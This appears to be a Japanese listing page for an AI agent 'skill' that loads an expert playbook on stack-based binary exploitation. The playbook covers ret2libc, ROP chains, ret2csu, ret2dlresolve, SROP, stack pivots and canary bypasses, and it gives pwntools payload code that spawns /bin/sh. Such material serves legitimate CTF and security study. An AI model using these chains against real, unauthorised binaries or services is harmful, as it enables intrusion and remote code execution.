stack-overflow-and-rop について
脆弱なプログラムやCTFを扱うセキュリティ担当者向けの、スタックベースのバイナリ悪用に関する応用スキルです。return-to-libc、ROPチェーン、スタックピボット、カナリア回避などを扱います。
主な機能
- 01Return-to-libcの手法
- 02ROPチェーン構築とガジェット選定
- 03ret2csu、ret2dlresolve、SROP
- 04スタックピボット手法
- 05カナリア回避の方法
- 06エクスプロイトツールのコマンド一覧
活用シーン
- 01スタックオーバーフローのエクスプロイト構築
- 02NX有効時のコード再利用手法の選定
- 03対象バイナリでのカナリア回避策の分析
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill stack-overflow-and-ropインストール後、Claude Code で/stack-overflow-and-ropを入力して読み込まれたか確認します。
同梱ファイルROP_ADVANCED_TECHNIQUES.md
詳細
SKILL:Stack Overflow と ROP — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:エキスパート向けのスタックベースのエクスプロイト技術です。古典的なバッファーオーバーフロー、return-to-libc、ROP チェーンの構築、ret2csu、ret2dlresolve、SROP、スタックピボット、カナリアのバイパスを扱います。ctf-wiki advanced-rop、実際の CVE、CTF の競技パターンから要点をまとめています。ベースモデルでは、制約のある条件下でのガジェット選択の微妙な点を見落としがちです。
0. 関連するルーティング
- format-string-exploitation — オーバーフローを発生させる前に、フォーマット文字列を使ってカナリア/libc/PIE のベースアドレスをリークします
- binary-protection-bypass — NX、ASLR、PIE、カナリア、RELRO を体系的にバイパスします
- arbitrary-write-to-rce — 書き込みプリミティブ(GOT、フック、vtable)をコード実行に利用します
- heap-exploitation — 脆弱性がスタックではなくヒープにある場合に使用します
高度なリファレンス
次のケースでは、ROP_ADVANCED_TECHNIQUES.md を読み込んでください。
- バイナリーがない状態で、リモートサービスを標的にする Blind ROP(BROP)の手法
- 32 ビットシステムで ASLR をバイパスする ret2vdso
- PIE をバイパスする部分上書きの手法
- コード再利用の代替パラダイムである JOP/COP
1. スタックレイアウトの基礎
High Address
┌─────────────────────┐
│ ... (caller) │
├─────────────────────┤
│ Return Address │ ← overwrite target (EIP/RIP control)
├─────────────────────┤
│ Saved EBP/RBP │ ← overwrite for stack pivoting
├─────────────────────┤
│ Canary (if enabled)│
├─────────────────────┤
│ Local Variables │ ← buffer starts here
├─────────────────────┤
│ ... │
└─────────────────────┘
Low Address
| 要素 | x86(32 ビット) | x86-64(64 ビット) |
|---|---|---|
| リターンアドレスのサイズ | 4 バイト | 8 バイト |
| 保存されたフレームポインター | 4 バイト(EBP) | 8 バイト(RBP) |
| カナリアのサイズ | 4 バイト | 8 バイト |
| 呼び出し規約 | 引数はスタック上 | RDI、RSI、RDX、RCX、R8、R9 の後にスタック |
| システムコール命令 | int 0x80 | syscall |
2. RETURN-TO-LIBC
NX が有効な場合(スタックが実行不可の場合)、実行を libc 関数にリダイレクトします。
古典的な ret2libc(32 ビット)
payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr) # fake return address for system()
payload += p32(binsh_addr) # arg1: "/bin/sh"
ret2libc(64 ビット)— 引数用のガジェットが必要
pop_rdi = elf_base + 0x401234 # pop rdi; ret
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
Libc ベースアドレスのリーク方法
| 方法 | 手法 | 使用条件 |
|---|---|---|
| puts@plt(puts@GOT) | 解決済みの libc アドレスをリーク | GOT がすでに解決済みで、puts が PLT にある |
| write@plt(1, read@GOT, 8) | write システムコールでリーク | write が利用可能 |
| printf("%s", GOT_entry) | フォーマット文字列でリーク | printf を制御可能 |
| 部分上書き | リターンアドレスの下位バイトを上書きし、リーク用ガジェットに到達 | PIE が有効で、下位 12 ビットが既知 |
# Typical leak pattern
rop = b'A' * offset
rop += p64(pop_rdi) + p64(elf.got['puts'])
rop += p64(elf.plt['puts'])
rop += p64(main_addr) # return to main for second payload
io.sendline(rop)
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']
one_gadget — 単一ガジェットによる RCE
$ one_gadget /path/to/libc.so.6
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints: rsp & 0xf == 0, rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints: [rsp+0x40] == NULL
制約を満たす必要があります。使用前にレジスター/スタックの状態を確認してください。
3. ROP チェーンの構築
ツールの比較
| ツール | 強み | コマンド |
|---|---|---|
| ROPgadget | 網羅的な検索、チェーン生成 | ROPgadget --binary elf --ropchain |
| ropper | セマンティック検索、JOP/COP のサポート | ropper -f elf --search "pop rdi" |
| pwntools ROP | チェーンの自動構築 | rop = ROP(elf); rop.call('system', ['/bin/sh']) |
| xrop | 高速なガジェット検索 | xrop -r elf |
基本的なガジェットのパターン
| 目的 | ガジェット | 使用例 |
|---|---|---|
| RDI(引数1)を設定 | pop rdi; ret | ほとんどの関数呼び出し |
| RSI(引数2)を設定 | pop rsi; pop r15; ret | 引数が 2 つの関数 |
| RDX(引数3)を設定 | pop rdx; ret(まれ) | 引数が 3 つの関数。ret2csu を使用 |
| システムコール | syscall; ret | システムコールを直接呼び出す |
| スタックピボット | leave; ret | RSP を制御可能なバッファーに移動 |
| スタックをアラインメント | ret(単一の ret ガジェット) | movaps の 16 バイトアラインメントを修正 |
x86-64 のスタックアラインメント:system() などの libc 関数は、RSP % 16 == 0 を必要とする movaps を使用します。アラインメントがずれている場合は、呼び出しの前に ret ガジェットを追加してください。
4. ret2csu — 汎用の 3 引数制御
__libc_csu_init は、ほぼすべての動的リンク ELF バイナリーに存在し、最大 3 つの引数を指定して呼び出しを制御できます。
; Gadget 1 (csu_init + 0x3a): pop registers
pop rbx ; 0
pop rbp ; 1
pop r12 ; call target (function pointer address)
pop r13 ; arg3 (rdx)
pop r14 ; arg2 (rsi)
pop r15 ; arg1 (edi = r15d)
ret
; Gadget 2 (csu_init + 0x20): controlled call
mov rdx, r13
mov rsi, r14
mov edi, r15d ; NOTE: only sets edi (32-bit), not full rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop>
; falls through to gadget 1 again
主な制約:r12 には、対象関数へのポインター(たとえば GOT エントリー)を設定する必要があります。関数アドレスを直接指定してはいけません。ループをスキップするには、rbx=0、rbp=1 に設定します。
5. ret2dlresolve
libc のリークなしで任意の関数(たとえば system)を解決するために、ELF の動的リンク構造を偽造します。
攻撃の流れ
- 実行を制御して
_dl_runtime_resolve(link_map, reloc_offset)を呼び出します - 既知の書き込み可能なアドレスに、偽の
Elf_Symを指すElf_Relを偽造します st_nameが偽の文字列"system\x00"を指すようにElf_Symを偽造します- リゾルバーが偽造した構造体を使うように
reloc_offsetを設定します - 引数(
/bin/sh)をスタックまたは既知のバッファーに配置します
# pwntools automation (recommended)
from pwntools import *
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
io.sendline(rop.chain())
io.sendline(dlresolve.payload)
32ビットと64ビットの違い
| 項目 | 32ビット | 64ビット |
|---|---|---|
| 再配置タイプ | Elf32_Rel(8バイト) | Elf64_Rela(24バイト) |
| シンボルテーブルエントリー | Elf32_Sym(16バイト) | Elf64_Sym(24バイト) |
| アラインメント | 緩やか | 厳密(ndx = (reloc_offset) / sizeof(Elf64_Rela) を満たし、その後 sym = symtab[ndx] となる必要があります) |
| バージョンチェック | 通常はスキップ可能 | VERSYM[sym_index] が有効、または 0 である必要があります |
6. SROP — シグナルリターン指向プログラミング
sigreturn システムコールを悪用し、スタック上の偽のシグナルフレームからすべてのレジスターを一度に設定します。
from pwn import *
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
frame.rsp = new_stack_addr # optional pivot
payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15) # SYS_rt_sigreturn = 15
payload += p64(syscall_ret)
payload += bytes(frame)
使用する状況:使用できるガジェットが限られている場合、pop rdx がない場合、静的バイナリーの場合、またはスタックを任意のアドレスにピボットする必要がある場合です。
7. スタックピボット
オーバーフローできる長さが限られている場合、スタックポインターを攻撃者が制御するバッファーに移動します。
| 手法 | ガジェット | 前提条件 |
|---|---|---|
leave; ret | mov rsp, rbp; pop rbp; ret | 保存された RBP を偽のスタックを指すように制御できる |
xchg rsp, rax; ret | RSP と RAX を交換 | RAX を(ガジェットチェーン経由で)制御できる |
pop rsp; ret | RSP を直接制御 | まれですが強力です |
| SROP ピボット | SigreturnFrame で RSP を設定 | sigreturn ガジェットだけが必要です |
leave;ret ピボットパターン
Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr]
1st leave: rsp = rbp → fake_rbp; pop rbp → *fake_rbp
1st ret: rip = leave_ret_addr
2nd leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
2nd ret: rip = *(buf+8) → start of ROP chain in buf
8. カナリアのバイパス
| 手法 | 条件 | 方法 |
|---|---|---|
| ブルートフォース | fork() サーバー(子プロセスでもカナリアが同じ) | 1バイトずつ試行(64ビットでは 256 × 7 = 1792 回の試行) |
| フォーマット文字列によるリーク | printf(user_input) を利用可能 | %N$p でスタックからカナリアを読み取る |
| スタック読み取り | 1バイトのオーバーフロー、または部分読み取り | カナリアの NULL バイトを上書きし、エラー出力または通常の出力から読み取る |
| スレッドカナリア | オーバーフローが TLS に到達 | TLS 内の stack_guard(fs:[0x28])を同時に上書きする |
| 情報漏えい | 初期化されていないスタック変数のリーク | 漏えいデータにカナリアが含まれる |
9. ツール早見表
checksec ./binary # Show protections (NX, canary, PIE, RELRO)
ROPgadget --binary ./binary --ropchain # Auto-generate ROP chain
ropper -f ./binary --search "pop rdi" # Semantic gadget search
one_gadget ./libc.so.6 # Find one-shot RCE gadgets
pwn template ./binary --host x --port y # Generate pwntools exploit skeleton
10. 判断フローチャート
Binary has stack overflow?
├── checksec: NX disabled?
│ └── YES → shellcode on stack, ret to buffer (ret2shellcode)
│ └── NO (NX enabled) →
│ ├── Canary enabled?
│ │ ├── YES → fork() server? → brute-force canary
│ │ │ format string? → leak canary
│ │ │ info leak? → read canary
│ │ └── NO → proceed to ROP
│ ├── ASLR/PIE enabled?
│ │ ├── PIE → leak code base (partial overwrite last 12 bits, or info leak)
│ │ ├── ASLR only → leak libc base (puts@GOT, write@GOT)
│ │ └── Neither → addresses known, direct ROP
│ ├── Can leak libc?
│ │ ├── YES → ret2libc (system/execve) or one_gadget
│ │ └── NO → ret2dlresolve (forge resolution) or SROP
│ ├── Need 3+ args but no pop rdx?
│ │ └── ret2csu or SROP
│ ├── Overflow too short for full chain?
│ │ └── Stack pivot (leave;ret, xchg rsp)
│ ├── Static binary (no libc)?
│ │ └── SROP + syscall chain (execve via sigreturn)
│ └── Full RELRO?
│ └── Cannot overwrite GOT → target __free_hook, __malloc_hook,
│ or _IO_FILE vtable (see ../arbitrary-write-to-rce/)